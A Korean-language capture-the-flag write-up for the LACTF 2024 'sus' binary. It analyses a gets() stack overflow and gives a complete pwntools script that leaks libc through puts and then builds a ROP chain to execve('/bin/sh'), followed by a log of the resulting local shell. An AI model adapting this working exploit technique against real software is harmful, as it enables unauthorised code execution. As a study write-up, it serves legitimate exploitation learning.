checksec
[*] '/home/seo/study/LACTF2024/sus/sus' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
Decompile src / Analysis
v4 변수에 gets 함수로 입력받는데, 버퍼 제한이 없어 BOF 취약점 발생.
rdi는 gets 호출 이후 RBP-8에 의해 값을 컨트롤될 수 있음.
.text:000000000040118B call _gets .text:0000000000401190 mov rax, [rbp-8] .text:0000000000401194 mov rdi, rax
int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE v4[56]; // [rsp+0h] [rbp-40h] BYREF __int64 v5; // [rsp+38h] [rbp-8h] setbuf(_bss_start, 0); v5 = 69; puts("sus?"); gets((__int64)v4); sus(v5); return 0; }
solve.py
RDI 레지스터값을 puts’s got으로 지정시켜 libc 주소에 있는 puts 주소를 LEAK함.
이후, main을 한번 더 호출시켜 ROP를 통해 쉘 획득.
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./sus") sla = p.sendlineafter sa = p.sendafter puts_got = 0x404000 puts_plt = 0x401030 main = 0x401151 payload = b"X" * 0x38 payload += p64(puts_got) #set rdi payload += b"B"*8 #set rbp payload += p64(puts_plt) #set ret payload += p64(main) sla(b"sus?\n", payload) libc_puts = p.recv(6).ljust(0x8, b"\x00") libc_puts = u64(libc_puts) success(f"libc_puts: {hex(libc_puts)}") libc_base = libc_puts - 0x80e50 success(f"libc_base: {hex(libc_base)}") pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rdx_pop_r11_ret = libc_base + 0x000000000011f2e7 execve = libc_base + 0x00000000000eb080 bin_sh = libc_base + 0x1d8678 payload = b"X" * 0x40 payload += b"Y" * 8 #set rbp payload += p64(pop_rdi_ret) #set ret payload += p64(bin_sh) payload += p64(pop_rsi_ret) payload += p64(0) payload += p64(pop_rdx_pop_r11_ret) payload += p64(0) payload += p64(0) payload += p64(execve) sla(b"sus?\n", payload) p.interactive()
Result
seo@seo:~/study/LACTF2024/sus$ python3 solve.py [+] Starting local process './sus': pid 3306 [+] libc_puts: 0x7ffff7c80e50 [+] libc_base: 0x7ffff7c00000 [*] Switching to interactive mode $ id uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare) $ whoami seo $ ls prob solve.py sus sus.id0 sus.id1 sus.id2 sus.nam sus.til $